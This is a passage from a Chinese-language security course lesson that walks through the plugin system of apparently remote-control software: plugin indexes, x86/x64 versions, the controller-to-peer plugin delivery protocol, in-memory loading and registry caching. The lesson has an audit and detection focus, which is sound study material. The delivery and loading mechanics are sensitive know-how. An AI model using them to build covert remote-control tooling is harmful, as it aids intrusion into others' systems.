建议按这个顺序读插件化源码:

  1. 先看 PluginsInfoPluginsDate,明白插件索引是什么。
  2. 再看 g_pluginsDatas_32g_pluginsDates_64,知道内置插件有哪些。
  3. WriteAndReadPlugins,理解主控端启动时如何初始化插件索引。
  4. WriteResource,理解资源、MD5、filedatefilesize 的关系。
  5. DllSendData,理解插件请求和下发的数据结构。
  6. GetPluginVersion,理解 x86/x64 和主插件/扩展插件分流。
  7. QuickView.cppCOMMAND_DLLMAIN,理解主控端如何发起插件加载。
  8. OnOpenSendDll,理解主控端如何发送实际插件数据。
  9. 最后再进入 KernelManager.cpp 看对端缓存和加载。

不要一上来读内存执行和转换函数。先把“索引、版本、请求、下发”这条主线看清楚。

# 18. 常见误区

误区 正确认识
插件就是普通 DLL 文件 在这套源码里,插件还可能有 _bin 形式和内存加载链
MD5 等于安全校验 MD5 只能辅助识别,不能替代签名和可信链
x86/x64 只是编译差异 它直接影响插件索引、版本、数据和加载路径
自动运行只是便利功能 自动运行插件必须重点审计和审批
插件名不重要 插件名是能力识别、检测规则和溯源的重要线索
只看主控端就够 对端缓存、加载和执行链同样关键

# 19. 本课小结

本课从总览角度讲清楚了插件化设计:

  1. 主控端有内置插件资源表,也支持扩展插件导入。
  2. 插件数据统一整理成 PluginsInfo,再按名称放入 PluginsDate
  3. 插件索引按 x86/x64 分开维护。
  4. WriteResource 从资源中读取插件数据,计算版本,并按需生成 _bin
  5. DllSendData 是插件请求和插件下发的元数据结构。
  6. 主控端先发 COMMAND_DLLMAIN,对端按版本决定是否请求插件数据。
  7. 主控端用 COMMAND_SENDLL 下发 DllSendData + 插件数据
  8. 插件化的主要风险是动态加载、内存执行、注册表缓存、网络大包和可信链不足。

第 13 课会在本课基础上深入 KernelManager.cpp,逐段看对端如何接收版本包、读取注册表缓存、请求新插件、写入内存、写入注册表,以及 Debug/Release 加载分支的差异。

# 20. 合法练习题

  1. 只阅读源码,整理 g_pluginsDatas_32g_pluginsDates_64 中插件名称与能力分类。
  2. 画出 WriteAndReadPlugins -> WriteResource -> m_PluginsDate_x86/x64 的调用链。
  3. 解释 PluginsInfo::Versionfiledatefilesizebauto 四个字段的作用。
  4. 对比主控侧和插件侧的 DllSendData 字段命名,说明为什么协议结构需要统一定义。
  5. PlugView.cpp 中找出 getinfo 标记的处理逻辑,说明它对扩展插件识别有什么意义。
  6. 设计一个合法插件清单表,字段至少包含插件名、版本、哈希、签名状态、架构、权限和自动运行状态。
  7. 写出 5 个企业可以监控的插件化行为信号。
  8. 思考为什么自动运行插件必须默认关闭,并写出审批流程要记录哪些字段。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>